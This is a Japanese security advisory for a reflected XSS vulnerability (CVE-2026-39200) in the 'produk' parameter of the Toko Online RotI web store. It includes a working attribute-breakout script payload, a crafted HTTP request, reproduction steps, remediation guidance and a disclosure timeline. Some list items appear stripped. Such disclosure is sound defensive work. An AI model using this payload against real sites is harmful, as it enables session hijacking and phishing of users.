
produkリクエストパラメータの値が、二重引用符で囲まれたHTMLタグ属性の値にコピーされます。ペイロードxbnw0"><script>alert(1)</script>skc2hがprodukパラメータに送信されました。この入力は、アプリケーションの応答内でxbnw0\"><script>alert(1)</script>skc2hとしてエコーバックされました。
反映型クロスサイトスクリプティング (XSS) の脆弱性が、Toko Online RotI Web アプリケーションの produk リクエストパラメータで特定されました。このアプリケーションは、ユーザー提供の入力を二重引用符で囲まれた HTML タグ属性内に反映する前に HTML エンコードしていません。攻撃者は、被害者のブラウザセッションのコンテキストで任意の JavaScript を実行させる悪意のある URL を作成し、被害者がその URL にアクセスすると実行されます。
| フィールド | 値 |
|---|---|
| CVE ID | CVE-2026-39200 |
| 脆弱性タイプ | CWE-79 — Web ページ生成における入力の不適切な無害化 (反映型 XSS) |
| 影響を受ける製品 | Toko Online RotI (インドネシアのオンラインストア) |
| 影響を受けるパラメータ | produk |
| 発見者 | Uzair Ali (r00tali) — ペネトレーションテスター / バグバウンティハンター |
| 発見日 | 2026-07-03 |
| CVE 割り当て日 | 2026-07-12 |
| アドバイザリ公開日 | 2026-07-19 |
produk リクエストパラメータは、二重引用符で囲まれた HTML タグ属性の値にそのままコピーされます。アプリケーションがユーザー提供の入力を反映する前に HTML エンコードしないため、攻撃者は閉じ二重引用符とその後に続く HTML/JavaScript ペイロードを含むペイロードを送信することで、属性をエスケープできます。
xbnw0"><script>alert(1)</script>skc2h
このペイロードが produk パラメータとして送信されると、アプリケーションは入力をエスケープせずにレスポンスにエコーバックします。閉じる "> が元の属性を終了させ、注入された <script>alert(1)</script> ブロックがブラウザによって新しい HTML 要素として解釈され、ユーザーのセッション内で任意の JavaScript を実行します。
<!-- インジェクション前 -->
<input type="text" name="produk" value="USER_INPUT" />
<!-- ペイロード xbnw0"><script>alert(1)</script>skc2h によるインジェクション後 -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
^^^^^^^^^^^^^^^^^^^^^^^^
ブラウザがこれを実行
GET /[vulnerable-endpoint]?produk=xbnw0%22%3E%3Cscript%3Ealert(1)%3C%2Fscript%3Eskc2h HTTP/1.1
Host: [target-host]
User-Agent: Mozilla/5.0
HTTP/1.1 200 OK
Content-Type: text/html; charset=UTF-8
<html>
<body>
<!-- ... -->
<input type="text" name="produk" value="xbnw0"><script>alert(1)</script>skc2h" />
<!-- ... -->
</body>
</html>
produk パラメータを HTML 属性内に反映するエンドポイント (例:製品検索、詳細、フィルタページ) を特定する。produk パラメータの値を次のペイロードに置き換える:
xbnw0"><script>alert(1)</script>skc2h
" をエスケープして DOM 内に有効な <script> 要素が生成される。alert(1) ダイアログが表示され、被害者のセッション内で任意の JavaScript が実行されたことが確認できる。この反映型 XSS の悪用に成功すると、攻撃者は以下が可能になります。
この脆弱性は反映型であるため、悪用には被害者が細工されたリンクをクリックするだけでよく、フィッシングキャンペーンで簡単に武器化できます。
CVSS v3.1 (推定): 6.1 (Medium) — AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
この脆弱性を修復するには、ベンダーは以下を実施する必要があります。
<, >, ", ', & をエンコードする (例: <, >, ", ', &)。htmlspecialchars($input, ENT_QUOTES, 'UTF-8')HttpUtility.HtmlEncode(input) または <%: %> 構文{{ input }} (デフォルトで自動エスケープ)Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'
HttpOnly および Secure フラグを設定する ことで、JavaScript からの読み取りを防止する。produk パラメータを期待される製品識別子 (数値 ID、スラッグなど) の許可リストに対して検証し、 一致しないものは拒否する。X-Content-Type-Options: nosniff を追加する ことで、レスポンスボディの MIME タイプスニッフィングを防止する。| 日付 | イベント |
|---|---|
| 2026-07-03 | 許可されたセキュリティテスト中に脆弱性を発見 |
| 2026-07-03 | cveform.mitre.org を介して MITRE に CVE ID をリクエスト |
| 2026-07-12 | CVE-2026-39200 が MITRE アサインメントチームにより割り当てられる |
| 2026-07-19 | 公開アドバイザリを公開 |
** Uzair Ali (r00tali)** — ペネトレーションテスター / バグバウンティハンター / セキュリティ研究者
このアドバイザリは教育および防御目的でのみ公開されています。この脆弱性は、MITRE CVE アサインメントチームを通じた責任ある開示プロセスを通じて報告されました。機密のベンダー情報、顧客データ、または専有コードは開示されていません。概念実証では良性の alert(1) ペイロードを使用しており、バグの存在を示すことを目的としており、稼働中のサービスに対する攻撃を促進するものではありません。